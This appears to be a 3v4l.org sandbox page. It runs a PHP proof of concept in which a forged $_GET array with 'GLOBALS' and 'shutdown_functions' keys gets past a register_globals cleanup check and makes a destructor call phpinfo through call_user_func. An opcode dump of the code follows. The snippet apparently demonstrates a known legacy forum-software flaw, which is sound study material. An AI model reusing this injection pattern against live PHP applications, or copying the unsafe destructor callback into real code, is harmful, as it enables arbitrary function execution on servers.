3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_GET = array('GLOBALS'=>'1', 'shutdown_functions'=>array('function'=>'phpinfo', 'arguments'=>'1')); class Core { function __construct() { $protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS"); foreach($protected as $var) { if(isset($_REQUEST[$var]) || isset($_FILES[$var])) { exit("Hacking attempt"); } } if(@ini_get("register_globals") == 1) { $this->unset_globals($_POST); $this->unset_globals($_GET); $this->unset_globals($_FILES); $this->unset_globals($_COOKIE); } } function unset_globals($array) { if(!is_array($array)) { return; } foreach(array_keys($array) as $key) { unset($GLOBALS[$key]); } } function __destruct() { global $shutdown_functions; if($shutdown_functions && is_array($shutdown_functions)) { call_user_func($shutdown_functions['function'], $shutdown_functions['arguments']); } } } $core = new Core; $shutdown_functions = array(); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/nvq3u
function name:  (null)
number of ops:  7
compiled vars:  !0 = $core, !1 = $shutdown_functions
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   FETCH_W                      global              $2      '_GET'
          1        ASSIGN                                                   $2, <array>
   41     2        NEW                                              $4      'Core'
          3        DO_FCALL                                      0          
          4        ASSIGN                                                   !0, $4
   43     5        ASSIGN                                                   !1, <array>
   45     6      > RETURN                                                   1

Class Core:
Function __construct:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 77) Position 1 = 2, Position 2 = 12
Branch analysis from position: 2
2 jumps found. (Code = 78) Position 1 = 3, Position 2 = 12
Branch analysis from position: 3
2 jumps found. (Code = 47) Position 1 = 6, Position 2 = 9
Branch analysis from position: 6
2 jumps found. (Code = 43) Position 1 = 10, Position 2 = 11
Branch analysis from position: 10
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 11
1 jumps found. (Code = 42) Position 1 = 2
Branch analysis from position: 2
Branch analysis from position: 9
Branch analysis from position: 12
2 jumps found. (Code = 43) Position 1 = 20, Position 2 = 40
Branch analysis from position: 20
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 40
Branch analysis from position: 12
filename:       /in/nvq3u
function name:  __construct
number of ops:  41
compiled vars:  !0 = $protected, !1 = $var
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    7     0  E >   ASSIGN                                                   !0, <array>
    8     1      > FE_RESET_R                                       $3      !0, ->12
          2    > > FE_FETCH_R                                               $3, !1, ->12
    9     3    >   FETCH_IS                                         ~4      '_REQUEST'
          4        ISSET_ISEMPTY_DIM_OBJ                         0  ~5      ~4, !1
          5      > JMPNZ_EX                                         ~5      ~5, ->9
          6    >   FETCH_IS                                         ~6      '_FILES'
          7        ISSET_ISEMPTY_DIM_OBJ                         0  ~7      ~6, !1
          8        BOOL                                             ~5      ~7
          9    > > JMPZ                                                     ~5, ->11
   10    10    > > EXIT                                                     'Hacking+attempt'
    8    11    > > JMP                                                      ->2
         12    >   FE_FREE                                                  $3
   14    13        BEGIN_SILENCE                                    ~8      
         14        INIT_FCALL                                               'ini_get'
         15        SEND_VAL                                                 'register_globals'
         16        DO_ICALL                                         $9      
         17        END_SILENCE                                              ~8
         18        IS_EQUAL                                                 $9, 1
         19      > JMPZ                                                     ~10, ->40
   15    20    >   INIT_METHOD_CALL                                         'unset_globals'
         21        CHECK_FUNC_ARG                                           
         22        FETCH_FUNC_ARG               global              $11     '_POST'
         23        SEND_FUNC_ARG                                            $11
         24        DO_FCALL                                      0          
   16    25        INIT_METHOD_CALL                                         'unset_globals'
         26        CHECK_FUNC_ARG                                           
         27        FETCH_FUNC_ARG               global              $13     '_GET'
         28        SEND_FUNC_ARG                                            $13
         29        DO_FCALL                                      0          
   17    30        INIT_METHOD_CALL                                         'unset_globals'
         31        CHECK_FUNC_ARG                                           
         32        FETCH_FUNC_ARG               global              $15     '_FILES'
         33        SEND_FUNC_ARG                                            $15
         34        DO_FCALL                                      0          
   18    35        INIT_METHOD_CALL                                         'unset_globals'
         36        CHECK_FUNC_ARG                                           
         37        FETCH_FUNC_ARG               global              $17     '_COOKIE'
         38        SEND_FUNC_ARG                                            $17
         39        DO_FCALL                                      0          
   20    40    > > RETURN                                                   null

End of function __construct

Function unset_globals:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 4, Position 2 = 5
Branch analysis from position: 4
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 5
2 jumps found. (Code = 77) Position 1 = 9, Position 2 = 13
Branch analysis from position: 9
2 jumps found. (Code = 78) Position 1 = 10, Position 2 = 13
Branch analysis from position: 10
1 jumps found. (Code = 42) Position 1 = 9
Branch analysis from position: 9
Branch analysis from position: 13
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
filename:       /in/nvq3u
function name:  unset_globals
number of ops:  15
compiled vars:  !0 = $array, !1 = $key
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   22     0  E >   RECV                                             !0      
   23     1        TYPE_CHECK                                  128  ~2      !0
          2        BOOL_NOT                                         ~3      ~2
          3      > JMPZ                                                     ~3, ->5
   24     4    > > RETURN                                                   null
   27     5    >   INIT_FCALL                                               'array_keys'
          6        SEND_VAR                                                 !0
          7        DO_ICALL                                         $4      
          8      > FE_RESET_R                                       $5      $4, ->13
          9    > > FE_FETCH_R                                               $5, !1, ->13
   28    10    >   FETCH_UNSET                                      $6      'GLOBALS'
         11        UNSET_DIM                                                $6, !1
   27    12      > JMP                                                      ->9
         13    >   FE_FREE                                                  $5
   30    14      > RETURN                                                   null

End of function unset_globals

Function __destruct:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 2, Position 2 = 4
Branch analysis from position: 2
2 jumps found. (Code = 43) Position 1 = 5, Position 2 = 10
Branch analysis from position: 5
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 10
Branch analysis from position: 4
filename:       /in/nvq3u
function name:  __destruct
number of ops:  11
compiled vars:  !0 = $shutdown_functions
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   33     0  E >   BIND_GLOBAL                                              !0, 'shutdown_functions'
   35     1      > JMPZ_EX                                          ~1      !0, ->4
          2    >   TYPE_CHECK                                  128  ~2      !0
          3        BOOL                                             ~1      ~2
          4    > > JMPZ                                                     ~1, ->10
   36     5    >   FETCH_DIM_R                                      ~3      !0, 'function'
          6        INIT_USER_CALL                                1          'call_user_func', ~3
          7        FETCH_DIM_R                                      ~4      !0, 'arguments'
          8        SEND_USER                                                ~4
          9        DO_FCALL                                      0          
   38    10    > > RETURN                                                   null

End of function __destruct

End of class Core.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.01 ms | 1404 KiB | 17 Q